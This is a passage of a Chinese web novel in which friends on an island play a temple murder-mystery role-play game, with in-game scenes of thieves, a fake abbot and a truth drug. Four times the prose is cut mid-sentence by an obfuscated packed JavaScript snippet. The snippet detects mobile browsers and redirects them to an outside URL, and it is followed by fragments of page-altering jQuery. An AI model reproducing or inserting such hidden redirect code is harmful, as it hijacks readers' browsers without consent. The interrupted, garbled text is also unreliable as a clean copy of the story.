“这是岛上的厨师?”蓝少杰一直目送她拐进中央花园。 “对啊。之前不是见过面吗?”胡翊风道。 昨天他们刚到的时候,小李曾经下楼问过他们忌口。 方晚栀道:“我们昨天来的时候,没见小李下楼。” “嗯,头一回见。”蓝少杰还看着小李离开的方向。 “怎么,杰哥看上人家了?”胡翊风上前捣了一下他胳膊。 蓝少杰这才回过神来,憨憨笑了一下道:“没有,胡总说笑了。” “聊什么呢?赶紧进来吃饭了。”何美从院门后面探出头来。 二楼桌子上摆着好几种适合早餐吃的餐食,傅悠悠拿了一份牛肉饼,又给自己盛碗海鲜粥,放下粥勺,她突然想起剧本杀里的细节来。 “我先说一下我的一点推测啊。”她坐回位上,开始了复盘发言。 “这个静思,我现在非常肯定他并非寺里的僧人。他遇到命案,第一反应不是念经诵咒,而是要验尸,且他表述自己的不在场证明时,逻辑清晰缜密。我猜想他应该是官府的人,而且应该是出生于富裕人家的。家境殷实说明很可能父辈就是做官的……” “悠悠,你怎么看出他家境富裕的?”何美实在忍不住好奇,打断道。 “从他盛饭的习惯就能看出来了。古代农作物收成低,经济条件一般的普通家庭,吃饭应该很难做到不问饭量,直接狠狠给装上满满一碗还要压实一点吧,但他很明显并不习惯使用饭勺,却习惯性把饭碗盛满,可以推断他平时不怎么亲自盛饭,且平时饭碗里默认都是满满地状态,应该是个有人伺候的富家少爷。” “我以为那是蓝少杰自己盛饭的习惯呢。”何美道。 傅悠悠:“不是,是剧本要求,我的剧本里还提到柳依依是特意学着静思这样盛饭的。对了,另外盛饭的时候可以看出来,静思是左利手。死者云绮脖颈上的伤口也在左侧,这个细节可能暗示静思并非全无嫌疑。” 何美抬手摸了摸自己白皙的脖颈,刚才剧本杀的时候,她在那里用人造血画了一道红色印记作为伤口:“你好厉害啊悠悠,这都注意到了。剧本里确实特意强调要我把伤口画在左侧脖子上。” “咳,其实……”蓝少杰举了举手,“其实我的剧本上没有说静思是左利手,用左手盛饭是我自己的习惯。” “哦,原来左利手不是静思,是你啊。”傅悠悠笑起来,咬了口牛肉饼又继续道,“对了,剑客的身份大家有什么想法?” “我觉得这个剑客还挺热心的,第一个冲进屋里的就是他。”何美甜笑着看了眼胡翊风,好像她真是云绮,而胡翊风真是第一个冲上去的剑客似的。 “嗯,不管他是不是真的热心,他的真是身份肯定不是剑客。”顾汲问道,“他的剑全程抱在怀里,尤其在打开云绮屋门那一段,一般用惯了剑的人在不知道门里有椅子挡着的情况下,第一反应应该是拿剑斩开门闩,而他却直接上脚。” “有道理,除非他提前知道门后面有镜子挡着。”傅悠悠赞同点头,“这么看,剑客的嫌疑很大。我记得他一早出现在佛堂的时候,袖边还沾了些不知道什么的碎屑,一看就是前一天晚上有所行动。” 经傅悠悠这么一说,大家一同看向胡翊风。 他有点懵,扯起袖子来果然见上面沾了几片木屑似的东西。 “这个哪来的啊?我先说明啊,这个不是剧本里的要求啊。”胡翊风连连摆手,“可能就是昨晚玩的时候不小心沾上去的。悠悠你别草木借兵啊。” 接连闹了两次乌龙,大家都笑起来,傅悠悠吐了吐舌头,埋头喝粥。 笑了一阵,方晚栀cue流程:“还有没有其他线索?” 顾汲问道:“还有就是住持头上的疤痕,我的剧本里明确指出了这一点,说阿沥看到这个疤痕的时候愣住了。我猜这个疤应该是可以揭示住持真实身份的重要线索。” “这么看,这个住持绝非善茬。”何美皱着眉头琢磨,“说不定是个杀人越货的匪徒,说不定他真是盯上了佛珠呢!不然怎么会半夜跑到佛堂去,好可疑。” 傅悠悠嚼着粥里的鲍鱼,慢吞吞道:“我也觉得他可能是去佛堂找佛珠的,但是脸上有疤的人不一定是坏人哈,你看我们顾总脸上就有疤呀,但并不是坏人。” 她提到顾汲问脸上疤痕的时候,餐桌上热烈的气氛出现了几秒断层,方晚栀、胡翊风脸色明显僵了一下。 倒是顾汲问抬手用拇指揉了揉眉尾上微微凸起的疤,苦笑了一下,低声道:“你怎么知道我不是坏人。” 熟悉顾汲问的人,多少都对三年前的车祸有所耳闻。 大家私底下都说那是顾家二少“黑化”的起点。 而这个伤疤,就是那次车祸留下的。 了解内情的,像方晚栀、胡翊风,平时都会尽量避免提到三年前的那件事,没想到这回竟被他自己的助理就这样嚼着早餐若无其事地讲出来了。 而且你还没办法责备她,毕竟她这话总归是在夸他的。 见顾汲问并没有发火,餐桌上瞬间冰冻的气氛有所缓解。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16924485|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡翊风赶紧将话题带回剧本杀:“哈哈,就是,我觉得何美这推理挺有道理。” 方晚栀也恢复了神色,继续cue流程:“关于舞姬密室死亡案大家有没有想法?” “没有,这个案子目前还没有头绪。”顾汲问神色自然,似乎并未在意刚才傅悠悠的话。 众人也跟着纷纷摇头,气氛终于恢复了正常。 傅悠悠也跟着摇头,心里却在复盘刚才几人的反应。 原本她只是随口说笑,却没想到方晚栀和胡翊风听到她提他眉角的疤痕时,反应会这么大,都是先下意识去看顾汲问的表情,然后快速将话题引走。 她想起昨晚那个裴医生在电话里跟顾汲问说的事情。 说不定顾汲问的伤疤背后,也是一庄她不知道的“豪门秘辛”。 待思绪拉回餐桌,大家已经重新梳理了一遍剧本里舞姬密室死亡案的案发经过。 按理说,这个案件的凶手肯定是剧本杀中的角色之一,但依据静思验尸的结果,案发时间段内,大家又都是在一起的,互相都能做彼此的不在场证人。 这样一来这个案子就显得非常诡异了,难怪住持会觉得是佛珠的诅咒杀人。 最后,方晚栀见大家都没有要说的了,便拿出一沓新的角色剧本,“那第二幕复盘到这里结束,这是下一幕的剧本,大家回去看一下,一会儿咱们十点半结合,午饭前进行第三幕。” “胡翊云这个%*&,活动安排这么散,现在都八点多了,回去补觉时间都不够。”胡翊风一有机会就怒骂弟弟胡翊云。 何美也跟着附和:“晚栀姐,能不能些微调整一下啊。自由活动时间长一点呗。” 方晚栀毕竟是习惯了带领团队的人,她综合了一下大家的意见,很快做出了调整。 “我看今天大家起得早,确实需要更多时间补觉,不如我们现在快速把第三幕过掉,复盘留到晚上。一会儿第三幕结束后,大家可以直接回去补觉。午饭我让小李做些西式快餐,这样大家根据自己的情况安排时间,什么时候去南院别墅吃饭都可以。这样下次集合就可以一直延后到晚餐时间。” 这个提议得到一致赞同,大家很快就领了各自第三幕的剧本,开始翻阅。 ****** 住持晕倒后,众人七手八脚将他抬回房去,静思给他把了脉,掐了会儿人中,这才终于转醒。 “静思,快让几位施主早些上路吧,莫再被那佛珠给害了。”住持一睁眼就拉着静思道。 静思受了命,转身就要劝柳依依几人离开。 谁知柳依依上前握了静思的手,摇头道:“住持和静思哥哥深明大义慷慨相助,我们怎么能在住持病倒的时候只顾着自己跑呢?我跟阿沥留下来帮忙,咱们轮流照顾住持,可好?” 她就是个混江湖的,哪里是有恩必报的主儿,这话说得好听,惦记的无非只是佛珠而已。 虽然这个住持和静思一个劲儿说这佛珠会引起灾祸,还把云绮的死推到佛珠身上,她才不信呢。 人杀人她见多了,佛珠杀人她可从没见过。 她现在就想找机会偷走佛珠,卖上一笔,吃香喝辣,不用整天为生计发愁,再分出一部分给阿沥,让他趁年轻独立门户,兴许还能讨个媳妇。 柳依依这边言辞恳切,静思不知如何拒绝,回头去看住持,却见住持长长叹了口气,闭了眼不再说话。 柳依依只当他们默认,拉着静思就要往床边走,却突然被人从身后拽住。 她回头,只见阿沥眼睛盯在她和静思握在一起的手上,眼神里是难以压抑的忮忌。 16. 第 16 章 将柳依依和静思的手拉开,阿沥淡声道:“既然这样,我现在就去山下报官,再叫个郎中来。” “报官就报官,你拉我作甚?”柳依依见弟子不敬,有些不乐意,作势要挣开手腕。 阿沥手上暗中加大了力道,脸上还是平日里见惯了的恭敬模样,“我一个侍从,去请郎中怕是人家不肯跟来,小姐须得跟我一同去。” 他攥在手腕上的力道控制得正正好,即没让她挣开,又不让她觉得疼。 这反而让柳依依更加气恼,抬起没被束缚的那只手,照着他脑袋就是一巴掌,“这是哪门子胡话,谁家小姐亲自去请郎中的?” 哪知阿沥的反应跟他手上的劲儿一样,即不肯退步,也不气恼。柳依依甚至觉得他嘴角带了若有似无的笑意。 这闷葫芦今天是吃错了什么药? 师徒二人僵持不下,傅悠悠忍不住跳出柳依依壳子,抗议道:“哎,我剧本里可没说阿沥非要拉着柳依依下山,你怎么随便改戏。” 顾汲问:“没改。” “瞎说,来我看看你剧本!”傅悠悠说着要上去夺他剧本。 顾汲问把剧本高高举起,不慌不忙抬眼看向方晚栀,“DM,管管?” 方晚栀顾不上管,她埋头翻dm手册,“不儿,你俩怎么争起来了,我这儿写着最后下山的是剑客啊。哎?胡翊风?” 胡翊风这才从手机上移开视线,“哦哦,该我了?” “哎呀,你别分心啊,演完好回去休息啦!”何美虽没去看日出,但为了早上那一出恶作剧,也是一早就起来准备,这会儿直犯困。 胡翊风依言起身,将剑抱到怀里,一秒入“戏”。 剑客:“你们不用争了,我还有事在身,这就准备告辞了,一会到了山下,我顺道报官,再出一点订金请郎中上山来。”说完他抱剑作揖,说了声“告辞”便出了屋。 剑客这一走,柳依依信心大增。 寺中现在只余四人,相当于她的人占了一半,再加上住持又被骇出心病卧床不起,静思可谓势单力薄。 她只要想办法从静思口中套出佛珠下落,定能神不知鬼不觉将那佛珠盗到手! 不过,现在最紧要的不是那佛珠,而是尽快返回云绮屋里将那些名贵首饰拿到手里。 那剑客看起来会些轻功,这会儿兴许已经到了山下,衙门的人不多时就会来了,到时候再想接近云绮的包袱可就没那么容易了。 思及此,她对静思道:“静思哥哥在此照料住持,我跟阿沥去柴房烧点水来。” 阿沥的手还攥在腕上,她也不再企图挣脱,干脆顺势将他拽出屋去。 走出十几米,拐过墙角,再看不到住持床边的静思时,阿沥终于像是回了魂,松了手道:“徒儿不敬,请师父原谅。” 柳依依权当他不存在,脚步停都没停。 阿沥又拉了她的衣角作势要跪了认错。 他虽看着憨直,天资还不错,跟着她入盗行几年,习了不少轻功技巧,平时飞檐走壁行动起来轻飘得很。 但每次认错,他却总是一点懒不肯偷,跪得结结实实。尤其这几年身子骨长开了,壮硕的体格直直往地上戳,每次跪完膝盖轻则淤血青紫,重则破皮见肉,跟演苦肉计似的。 偏这苦肉计在柳依依身上最管用。 果然,她见这寺庙后院的地面久无人扫,到处是泥土砖砾,在这一跪不免又跪得膝盖上皮开肉绽,总算是停了脚步,回身将他拉住。 步子虽停了,气还没消。 “你既不听我的,还叫我师父作甚?” 她眸子里蕴了怒意,下巴微微扬着,视线锁在阿沥肩膀位置,不肯给他正眼。 “那住持和静思身份可疑,阿沥不放心师父与他们二人独处一室。”阿沥垂了眼看着地面,活像只做了错事的小狗,但说出的话却又丝毫没有认错的意思。 听了他这番辩驳,柳依依愈发恼了,眼神都冷了几分:“这般有主意,看来是不再需要我这师父了!” 若说柳依依最吃不得阿沥的苦肉计,那阿沥最受不住的就是柳依依“不做他师父”的要挟。 果不其然,阿沥秒怂,语气立即软了下来,恢复了往常的乖顺模样:“阿沥知错了,请师父责罚。” 他虽讨罚,柳依依却没空罚他——她心里惦记着云绮的首饰。 正事儿要紧,至于师门内的训斥责罚嘛,反正都是自己人,什么时候不行? “既已知错,接下来万万不可妨碍我行动!今晚我要约静思饮茶赏月,你切不可干扰。” 阿沥咬着嘴唇不吭气,即不敢反驳又不肯答应。 柳依依眼见又要发火:“师父说话怎么不回答?你这孩子今天吃错什么药了?” 阿沥攥了攥拳头,似是鼓了十三分勇气,才喏喏地开口:“我已经不是小孩儿了,该懂的都懂……师父花容月貌,我怕……我怕夜深人静,那静思……” 前半句入耳,柳依依怒气冲头,刚要骂出口,又听得“花容月貌”几个字,顿时有些气不起来了。 两人对峙片刻,柳依依无奈地叹口气,从袖兜里取出一个小瓷瓶子道:“也罢,你我各退一步。如今住持病倒,寺中除了你我,只余静思一人,正适合用上这吐真剂。今晚师父我不用柳氏四招绕弯子,直接给他喂下这吐真剂。这回你放心了吧?” 这吐真剂乃西域传来的秘药,是柳依依从某个商团行首那里盗得的压箱底的宝贝,平时不舍得用,只有遇到实在难以应付的人时才会拿出来。 只要一滴,就能让对方四肢绵软,口吐真言。 阿沥知道这吐真剂的厉害,总算是点了头。 劝动了这头倔牛,柳依依松一口气,“现在当务之急得去云绮屋里把她的首饰拿到手。你去柴房烧水,我去云绮房里。” 这样的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933671|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行动,对于师徒二人来说属实稀松平常,柳依依像往常似的分配任务,完全不曾想这一趟除了云绮那一包首饰之外,竟还有意外的收获。 这寺庙后院虽然面积不大,但每间屋子都是坐北朝南,即便开着门翻找东西,也不会被身处另一屋的静思看到。 不过柳依依干起老本行来一向谨慎,进屋的时候顺手将门掩了。 这屋子窗户本就不大,窗纸又是最粗糙的不怎么透光,这会门一关,屋内光线瞬间暗了不少。 柳依依一回头,就见昏暗的屋子里,一束天光射下来,直直照在云绮脸上。 她胆子虽大,猛然见这景象,还是不免心里打鼓。 壮着胆子顺着这光线往上看,就见屋顶有拳头大的一个洞,近正午的阳光正好透过孔洞泻进来。 看清这光线来源,她松了口气,对着云绮尸身鞠了个躬,学着住持的样子念了几句经,快速闪身到矮柜边上。 不出所料,云绮的首饰和玉佩都在其中,柳依依不挑不拣,统统装进口袋里,又将包袱按原样包好,包袱布揪出一角,按照刚才的样子压在柜门边上,这才慢慢将柜门关了。 刚要起身,视线扫到柜子底下有一个银色的东西。 俯身将那物件捡起,才发现是一根银色的细长的“铁针”,似乎跟普通的簪针差不多粗细,或者还要再细一圈,足足有她手掌那么长。 她将它拿在手里,想不出这是做什么用的。 这东西外观朴素,没有什么装饰。 跟云绮的其它首饰是完全不同的风格,想来也卖不出几个铜钱,但柳依依一向来者不拒,顺手将它揣进前襟暗袋。 顺利得手,她准备离开,手搭到门沿上,却又停了动作。 犹豫少顷,她转身走到床边,轻轻将云绮尸身往边上挪了挪,避开日头直晒。 做完这些,她无声溜出门去,用最快速度回了自己房里,将到手的东西悉数装进自己行囊。 再出门时,阿沥恰好端了冒着热气的水壶从柴房过来。 两人只对视一眼,便算是互通了计划成功的消息,柳依依走到阿沥前面,师徒二人若无其事往住持房间走去。 待走到那房间近处,阿沥突然抬了一下手,指了指屋内,用眼神示意柳依依“屋里有动静”。 两人默契地同时放轻了脚步。 行盗之人善于隐藏自己的踪迹,这师徒二人平日走路声音都比别人轻,此时更是毫无声息像一团影子似的靠近房间。 不,这对师徒连影子都不会让别人看到。 此时正午将至未至,日头在正头顶偏东一点,两人特意绕到窗户西侧,影子便斜斜躺在身后地面上,连一丝头发都没有映到窗纸上。 阿沥的耳朵一向不会出错,窗纸缝隙果然传来微弱的交谈声。 “你说实话,是不是早就把他们给杀了?” 是静思的声音。 17. 第 17 章 听到“杀”字,柳依依心头一惊,下意识地无声往后退了半步,正撞到阿沥胸膛上。 阿沥垂眸见师父脸上似有惊色,将手轻轻搭在她肩膀上按了按,似在说“师父莫怕,有阿沥在。” 柳依依眉心拧了一下。 倒不是顾及什么礼仪廉耻的规训,她又不是真正的富家小姐,没人对着她念叨男女授受不亲。 在江湖里挣命没那么多规矩,平日累了乏了,她就遣阿沥帮她按颈揉背,这种程度的肢体接触,在他们师徒之间再寻常不过。 在她眼里,不管他条子抽得多么高大壮实,都还是初见时那个边啃馍边抹眼泪的哭包小毛孩。 可问题就出在这里——她突然发现,方才阿沥手放在肩膀上的瞬间,心下竟真的平静不少。 真是奇哉怪哉。 不过她没空多想——屋里的对话还在继续,她抬手佛掉他落在肩膀上的手,摒了杂念,侧耳静听。 “我不是说了吗?他们还活着。你带我找到佛珠,我就把他们的位置告诉你。” 竟是住持的声音。 他嗓音中气十足,丝毫听不出刚从晕厥中醒来的虚弱。 静思声音反而有些急切:“一天一夜都没有给人送饭,原本活着也早渴死饿死了吧。” “人质自有我兄弟看守,你甭担心那么多,赶紧想想那佛珠藏在哪。” “既然有兄弟同伙,就更不应该只想着佛珠了。剑客已经去报官了,衙差不时就到,你这演技,骗得了柳姑娘和阿沥却骗不了衙差,不如趁早逃命去。你们只要放了人质,我可助你们隐藏行踪。” “原来你这和尚知道我是演的!那你刚才那么使劲掐我人中是故意的啊!” 说到“故意”两字时,住持声音憋了劲,似是狠狠踹出去一脚,紧接着便是人摔到地上的撞击声和一阵拳拳到肉的击打。 这声音光听就让人浑身发疼,静思却一声未吭。 住持骂骂咧咧揍了一阵,终于发泄了心中积愤,喘着粗气坐回床上。 “我看你是个攒亮儿的,别干糊涂事儿,你一会儿要是对官兵衙役说漏一点,你就再也见不到你师父师兄!哎真麻烦,要不是那个柳氏和她的侍从赖着不走,我干脆打你个半死,也不用怕你对官兵说不该说的。” 静思从地上爬起来,咳嗽了几声,拍着身上的土灰道,“我一会儿会想办法把他俩赶走,你莫要伤及无辜。” “伤及无辜?我装晕不就是为了吓唬吓唬他们,让他们知险而退吗?谁让他俩不长眼,非得留下来。我现在改主意了,你看紧那个姓柳的小娘们儿,别让他们看出端倪中途溜走,佛珠到手后,我说不定还能把那美人儿也弄到手。” 他发出一阵淫邪笑声,听得柳依依直犯恶心。 没想到这住持不仅是个假的,还十分残暴。 柳依依当即决定溜之大吉。为盗多年她每次都能全身而退,秘诀之一就是不与穷凶极恶之徒抢东西。 她回头给阿沥使眼色,瞄一眼水壶,看了看脚边,又往远处瞥去一眼,意思是让他现在就放下水壶,两人悄无声息地离开此地,这一票他们不干了。 对上眼神,她才发觉阿沥眉眼间充斥着她从未见过的怒意。 他性子素来慢吞吞的,不管被她如何打骂,总是一副认真听训的样子,她只当他是个脾气顶好的憨徒,没想到他竟也有这般神情。 视线相触,他眼里的怒意便淡了许多,顺从地点了点头。 柳依依放下心来。 不成想下一秒,她就眼见着阿沥从脚边捡了块小石子,往不远处一扔,似乎是误解了她的意思。 柳依依:“……”师徒之间的默契呢!!! 石子儿撞击在两人身后十来步远的地面,发生微弱声响,在屋里听起来就像是两人取了水刚从远处走过来。 这招声东击西是偷听后进屋前,为防止屋内人察觉常用的伎俩。 果然屋里的人没有生疑,柳依依听那住持急急躺下,末了还不忘威胁道,“记好了,这寺里和尚们的命可都在你手上。” 从石子儿落地的位置以正常步速走过来约莫二十几步,阿沥心下数了对应的步数,抬脚往屋里走去,脸上已经恢复了往日闷葫芦神态。 事到如今只能先把水送进去再找机会离开,柳依依跟在阿沥身后也进了门。 屋里跟他们走之前没什么两样,住持还是闭着眼睛躺在床上,静思也仍旧站在一边,脸上没有青紫淤血,表情也一如之前平静,要不是沾在衣角的灰透露出一点狼狈,柳依依都怀疑自己刚才听错了。 “静思哥哥,水取来了。”柳依依说着从阿沥手里拿了壶递给静思。 静思伸手来接,柳依依注意到他袖子里的肌肤隐隐透出一些吓人的淤痕。看来这“住持”是个经常打人的,一顿拳脚下来,气也出了,对方也疼了,却不破皮流血,也没伤筋动骨,甚至衣服一遮,连个痕迹都不会让旁人发现。 “好的。”静思接了水壶,神色自然道,“这里一个人就够了,柳姑娘先回房休息吧。” 这静思也是个不简单的,守着假住持这么个动不动就一顿暴揍主儿,竟然还能神色自然地应对。 柳依依愈发觉得此地不宜久留,立刻点头答应了,便拉着阿沥往外走。 刚到门口,便见一抹白色身影走了进来,正是片刻前下山去的白衣剑客。 “施主为何去而复返?”静思问。 “昨夜暴雨,山上泥土石块崩落,堵了下山的路,只好返回。”剑客道。 柳依依正待逃命,一听下不了山,有些着急,拉着剑客询问:“那怎么办?何时才能下山啊?” “虽有巨石落木,但路面似乎仍是完好的,待明天城里衙役疏通好道路自然可以下山。”白衣剑客看了她一眼道,“怎么?你着急走?” 柳依依这才发觉自己露了怯,她可不能让住持听出来他们的对话被偷听了。 “我跟阿沥自是不急的,但住持卧病,如今郎中上不了山,这如何是好?还有云绮的案子也等着官府来查验呢。” 正说着,床上住持睁了眼,故作虚弱道:“多谢柳施主挂念,贫僧已经好多了,静养即可。既然下不了山,各位施主也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936794|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不必着急了,在此留宿一晚吧。” 他脸上神情和善,完全看不出片刻前他在这屋里威胁并暴揍静思时有多凶残,柳依依看了只觉毛骨悚然。 剑客不疑有他,点头应下,转身回昨日栖身的房间去了。 别无他法,不多时,柳依依跟阿沥也分别回了住处歇晌。 片刻后,柳依依叼着根茅草杆,翘着二郎腿躺在床上——这是她思考问题时候最舒服的姿势。 根据刚才偷听到的对话,这假住持似乎是绑了寺里其他的和尚,藏在了静思不知道的地方,并以此威胁静思帮他寻找佛珠。 这也并非全是坏处,至少她根据两人对话能确定这寺里确如京中传言那样藏了颗佛珠,而且这佛珠似乎比她想得还要值钱,不然这假住持也不会非此周章。 如今剑客回来了,寺里人多眼杂,这假住持不敢轻举妄动,也许正好是行动的好时机。 既然躲不开,不如干脆再搏一把。 下定决心,柳依依嗖地从床上起身,趁正午院中无人走动,闪身出门,如柳间飞燕般脚步轻巧地去往佛堂搜寻佛珠去了。 ****** 第三幕结束。 扮演尸体的何美忍不住感叹:“没想到,住持才是最吓人的。杀掉我的肯定是他。” “说什么呢宝贝,是杀掉云绮的。”胡翊风在旁边纠正。 “哦对,入戏太深入戏太深。”何美笑起来。 “入戏太深不是问题,问题就是入戏不深。汲问,你演的阿沥怎么都崩人设了。”方晚栀往前翻了几页手里册子,“dm手册上,阿沥的人物简介是沉默讷言,对师父尊重敬畏,自始至终都是跟随在师父身后,百依百顺。你倒好,不仅自作主张,还跟师父顶嘴,这还是阿沥吗?” 为了避免剧透,每一幕的剧本都是在上一幕结束后以密封状态发到大家手里,由饰演这个角色的人亲自打开,哪怕是dm方晚栀也只能通过手册了解大致人物性格和剧情走向,并不清楚具体的情节。 顾汲问到底有没有改剧情只有他自己知道,但不用看剧本方晚栀都感觉得到阿沥跑偏了。 不过大家凑在一起只图一乐,人设崩成什么样都不所谓,她这样说只是看大家都面带倦容,想调侃几句,让大家活跃起来,顺利推进复盘。 她做事一向认真,做dm也希望能让大家的游戏体验更好一些。 之所以选择顾汲问下手,当然是因为他看起来最不走心。 他向来是他们几个发小里对聚会活动最不感冒的,这次他能放下进行到一半的项目,来参加这个为期三天的剧本杀活动,已经算是给胡翊云天大的面子了。 看他漫不经心念台词的样子,她猜他可能事先连剧本都没有仔细看过。 然而出乎她意料的是,顾汲问没有像她预想的那样一笑而过。 他垂眸思索片刻,认真说道:“这是我对角色的理解,阿沥那么珍视师父柳依依,一定会主动规避危险。” 眼睛里浮现一丝落寞,他淡淡道:“我希望至少阿沥能够保护好身边的人,不要留下遗憾。” 18. 第 18 章 顾汲问语气很淡,方晚栀却在他眼底捕捉到一丝浓得化不开的怅然。 她忙换了个话题:“dm手册上提示晚上有吻戏哦,大家可以期待一下。”她一边说着,一边拿出第四幕的剧本发到对应的人手里。 一听有吻戏,大家果然精神不少,脸上的倦容立刻散了,一脸八卦看向顾汲问和傅悠悠,根据目前第三幕的走向,感情线有苗头的好像只有他们“师徒二人”。 傅悠悠见大家一脸期待地看过来,一点不扭捏,十分配合地拆开自己第四幕剧本的塑封,粗略翻看几页,视线在某片段扫过,吐了吐舌头:“还真有。” “剧本杀竟然还有吻戏,那高低得尝尝咸淡。”胡翊风在旁吃瓜。 何美却有些担心:“这个会不会有些强人所难,悠悠说不定不想拍吻戏。” 顾汲问:“不想演的情节,可以以念剧本的形式过掉。” 他说完,似乎觉出自己越俎代庖了,看向方晚栀问:“可以吧?” 方晚栀还没回答,傅悠悠倒是先表了态:“只要对方OK,我没问题。” “没事没事,以念剧本形式过掉也可以的。咱们是娱乐,不用勉强。”方晚栀笑。 傅悠悠耸耸肩,不以为意:“不勉强啊,接吻而已。” 她看过不少电视剧里借位接吻的花絮,心道这都什么年代了,借位做个样子又不是什么大事。 虽然心里想的是借位,可她这话里却没说清楚,大家一听都以为她打算跟顾汲问来一场真吻戏,精神头顿时更足了,眼里纷纷流露出对晚上那一幕的期待。 只有坐她旁边的顾汲问脸色更冷了。 方晚栀笑道:“人家悠悠大大方方的,你怎么还不高兴上了?” 胡翊风:“顾三这么不乐意吗?都挂脸了,该不会没接过吻的是你吧。” 顾汲问没生气,但也没搭理这俩人的调侃,起身说了句:“累了,可以走了吧。”还没等方晚栀回话,就下了楼。 他们打趣顾汲问的时候,傅悠悠又细细读了一下吻戏那段,抬起头道:“哎,其实我这个剧本里写的是——” 话说到一半,头顶灯光突然暗了一度。 傅悠悠抬头,才发现顾汲问不知什么时候又杀回了桌边,停在她跟前居高临下,直接将顶灯的光遮掉一半。 “傅助理,一起回吧。” 他表情里带了不容抗拒的威严,让傅悠悠一瞬间就想起自己现在是过了十二点的灰姑娘,出了剧本杀,就变回了这位冷脸老板手底下的牛马打工人。 老板要回去,她一个名义上的“生活助理”确实没理由再逗留。 她敛了话头,抱着剧本,起身跟其他几人告别。 “哎,顾三,要发火找胡翊云啊,剧本是他找的,跟悠悠没关系哦。”胡翊风还在调笑。 大家都笑起来。 傅悠悠也跟着笑——到晚上,他们就会发现自己错得离谱。 因为她剧本里写的分明是:头脑昏沉的柳依依意识到茶盏被调换,自己误喝了吐真剂,眼看在药剂作用下马上就要坦白自己和阿沥的身份,情急之下,她拉了静思的衣襟,以吻封唇。 ——这吻戏跟顾汲问没关系,他怎么可能因此发火呢? 傅悠悠跟柳依依一样,属于睡眠比较少的那一类人,但早上三点多就被顾汲问喊醒,一路忙到现在,多少还是有些倦意。 回到房间后她倒头就睡了过去。 再醒来时,已经是下午一点多。 虽然早饭后并没有做什么耗费体力的事,看到时间,她还是下意识感受到一丝饥饿。 她记得上午晚栀姐说过,会吩咐小李中午做西式快餐,大家可以随时去吃。 说走就走,她跳下床洗了把脸,推门走了出去。 热浪扑面,甚至别墅门外侧的把手都有点烫手。 “好烫好烫好烫……”她小声自言自语着用指尖将门戳上,一转身,视线瞥到二楼顾汲问的房间。 她点开手机,翻到与顾汲问的对话框:【顾总,我现在打算去餐厅取餐,需不需要我帮您拿回来?】 发送完信息,她就穿过院中回廊向外走去。 走到院子门口的岔路口,余光瞥见通往中央花园的小路,蓦地想起昨天透过温泉馆的玻璃幕墙看见的那个夜半“鬼影”。 那个鬼影应该就是从这个岔路口往东去的吧? 它到底是人是鬼?又是为何会半夜在岛上晃荡? 昨晚她跟顾汲问说她希望世界上有鬼,但实际上,她并不觉的那个影子真的是鬼。 鬼又不是什么接了委托的coser,跟她昨晚晚饭时描述的形象一模一样实在是太巧。 在她想来,最有可能的情况是,有人想因为某种目的进行伪装,正好在晚餐的时候听到她的描述,觉得按照她说得装扮更能混淆视听。 如果真是这样,那么伪装所需要的白袍和长发就不是提前准备的,而是听了她的话后临时凑在一起的。 想到这,她的脑海倏然浮现上午何美抱怨自己假发打结的场景。 她记得何美说昨晚明明把假发梳理好了,在大厅放了一晚,早上起来就发现又打结了。 现在看来,这假发很可能是被人“借用”了。 这么想来,那“鬼影”身上穿的白袍也可能是剧本杀里的服装。 从颜色上来看,剑客的那件长袍是最相似的。 傅悠悠想象了一下胡翊风穿着剑客的服装却不扎腰封的样子,果然跟那鬼影身上的白袍很像。 难道那鬼影是胡翊风? 不对。 当时鬼影出现时,胡翊风跟其他几个人都在北别墅打牌。 如此想来,当时唯一不在场的人,只有池易。 若真是他,那种双腿没在动却跑得飞快的效果是怎么实现的呢…… 盛夏正午的阳光像是带了刺,虽然一路都踩在竹荫树荫里,傅悠悠脖颈还是晒得生疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16943823|192722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,到南别墅时,已经是满头的汗了。 